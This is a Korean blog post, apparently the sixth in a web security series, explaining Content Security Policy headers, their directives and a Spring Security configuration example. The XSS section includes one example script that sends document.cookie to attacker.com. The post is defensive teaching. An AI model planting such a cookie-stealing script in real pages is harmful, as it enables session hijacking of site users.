안녕하세요. 벌써 수요일이네요. 이번주도 벌써 절반이 지나가네요. 얼른 주말이 와서 놀러 나가고 싶은 마음이 드는 하루입니.
웹 보안 지식 시리즈도 어느덧 6편까지 오게 되었습니다. 이번 콘텐츠 보안 정책, CSP 편을 마지막으로 웹 보안 기초 시리즈도 거의 마무리 단계에 들어섰습니다. 그럼 이번 시간에는 콘텐츠 보안 정책, CSP에 대해 학습해보도록 하겠습니다.
콘텐츠 보안 정책
콘텐츠 보안 정책(Content Security Policy : CSP)는 브라우저가 어떤 출처의 리소스를 허용할지 제한하는 보안 정책입니다.
웹 페이지는 HTML뿐만 아니라 JavaScript, CSS, 이미지, 폰트, iframe 등 다양한 리소스를 불러옵니다. CSP는 이러한 리소스를 어디에서 불러올 수 있는지 서버가 브라우저에게 알려주는 방식입니다.
즉, CSP는 서버가 브라우저에게 "이 페이지에서는 어떤 리소스만 실행하거나 불러와도 되는지" 알려주는 보안 헤더입니다.
CSP가 필요한 이유
웹 페이지는 다양한 JavaScript 파일과 외부 리소스를 실행할 수 있습니다. 이때 공격자가 악성 스크립트를 페이지에 삽입할 수 있다면, 사용자의 쿠키나 토큰을 탈취하거나 원하지 않는 요청을 보내는 문제가 발생할 수 있습니다.
CSP는 이런 위험을 줄이기 위해 허용된 출처의 스크립트와 리소스만 실행되도록 제한합니다.
XSS 공격
XSS(cross-Site Scripting)는 공격자가 웹 페이지에 악성 스크립트를 삽입해 사용자의 브라우저에서 실행되도록 만드는 공격입니다.
<script>
fetch("https://attacker.com/steal?cookie=" + document.cookie);
</script>
위의 예시처럼 만약 게시글, 댓글, 프로필 입력값 등에 악성 스크립트가 저장되거나 반영된다면, 다른 사용자가 해당 페이지를 열었을 때 브라우저에게 스크립트가 실행될 수 있습니다.
그렇기에 CSP를 이용하여 XSS 자체를 완전히 없앨수는 없지만 악성 스크립트가 실행될 수 있는 범위를 제한하여 피해를 줄이는 역할을 할 수 있습니다.
CSP 동작 방식
CSP는 서버가 HTTP 응답 헤더에 Content-Security-Policy를 포함하여 브라우저에게 전달하는 방식으로 동작합니다.
Content-Security-Policy: default-src 'self'; script-src 'self';
브라우저는 이 헤더를 확인한 뒤 현재 페이지에서 어떤 리소스를 허용할지 판단합니다. 위 예시는 기본적으로 같은 출처의 리소스만 허용하고, JavaScript 역시 같은 출처에서 불러온 것만 실행하도록 제한합니다.

CSP 주요 지시어
| 지시어 | 의미 |
| default-src | 기본 리소스 허용 출처 |
| script-src | JavaScript 허용 출처 |
| style-src | CSS 허용 출처 |
| img-src | 이미지 허용 출처 |
| font-src | 폰트 허용 출처 |
| connect-src | fetch, axios, WebSocket 요청 허용 출처 |
| frame-src | iframe 허용 출처 |
| object-src | object, embed 리소스 허용 출처 |
이 중 connect-src는 fetch, axios, WebSocket처럼 JavaScript에서 서버와 통신할 때 허용할 출처를 지정합니다. 프론트엔드와 백엔드 API 서버가 분리되어 있다면 connect-src에 API 서버 주소를 허용해야 할 수 있습니다.
CSP 적용 예시
Content-Security-Policy: default-src 'self';
모든 리소스를 기본적으로 같은 출처에서만 불러오도록 제한합니다.
Content-Security-Policy: default-src 'self'; script-src 'self'; img-src 'self' https://images.example.com; connect-src 'self' https://api.example.com;
이 정책은 기본 리소스와 JavaScript는 같은 출처만 허용하고, 이미지는 현재 서버와 images.example.com에서만 허용합니다. API 요청은 현재 출처와 api.example.com으로만 보낼 수 있습니다.
Spring Boot에서 CSP 헤더 설정하기
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
.headers(headers -> headers
.contentSecurityPolicy(csp -> csp
.policyDirectives("default-src 'self'; script-src 'self'; img-src 'self' https://images.example.com; connect-src 'self' https://api.example.com")
)
);
return http.build();
}
Spring Security에서는 응답 헤더 설정을 통해 Content-Security-Policy를 추가할 수 있습니다. 위와 같이 기본 리소스와 스크립트는 같은 출처만 허용하고, 이미지와 API 요청에 대해서는 필요한 외부 출처를 명시적으로 허용하는 방식으로 CSP 헤더 설정이 가능합니다.
CSP 적용 시 주의할 점
CSP는 강력한 보안 정첵이지만 너무 엄격하게 설정하면 정상적인 리소스까지 차단될 수 있습니다.
- 필요한 외부 리소스 출처를 정확히 파악해야 한다.
- unsafe-inline 사용은 가능한 피하는 것이 좋다.
- 개발 환경과 운영 환경의 API 주소가 다를 수 있다.
- 처음에는 Report-Only 모드로 점검할 수 있다.
※ nsafe-inlien
unsafe-inlien은 인라인 스크립트 실행을 허용하는 설정입니다. 편리하지만 XSS 방어 효과를 약화시킬 수 있기에 가능하면 사용하지 않는 것이 좋습니다.
※ Report-Only
Report-Only 모드는 정책을 실제로 차단하지 않고 위반 사항만 보고하는 방식입니다. 운영 환경에 바로 강한 CSP를 적용하기 전에 어떤 리소스가 차단될 수 있는지 확인할 때 사용할 수 있습니다.
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self';
오늘은 콘텐츠 보안 정책, CSP에 대해 학습해보았습니다. 이번 글을 마지막으로 웹 보안 지식 시리즈는 마무리하게 되었습니다. CSP는 직접 적용해본 경험이 없어 다소 생소한 개념이었지만 브라우저가 허용된 출처의 리소스만 로드하고 실행하도록 제한하는 보안 정책이라는 점을 알 수 있었습니다.
특히 XSS 공격으로 인한 피해를 줄이는데 도움이 되며 웹 프론트엔드나 관리자 페이지처럼 브라우저에서 실행되는 화면에 적용해볼 수 있습니다.
현재 진행 중인 프로젝트에서도 관리자 페이지가 추가되면 script-src, img-src, connect-src와 같은 정책을 적용해볼 수 있을 것 같습니다.
다음 시간에는 테스트에 대해 알아보겠습니다. 수고하셨습니다.
'백엔드 공부' 카테고리의 다른 글
| 테스트(2) - 테스트 코드 (0) | 2026.05.15 |
|---|---|
| 테스트(1) - 단위 테스트, 통합 테스트, 기능 테스트 (1) | 2026.05.14 |
| 웹 보안 지식(5) - OWASP 보안 취약점 (0) | 2026.05.12 |
| 웹 보안 지식(4) - CORS (0) | 2026.05.11 |
| 웹 보안 지식(3) - HTTPS와 SSL/TLS의 동작 원리 (0) | 2026.05.08 |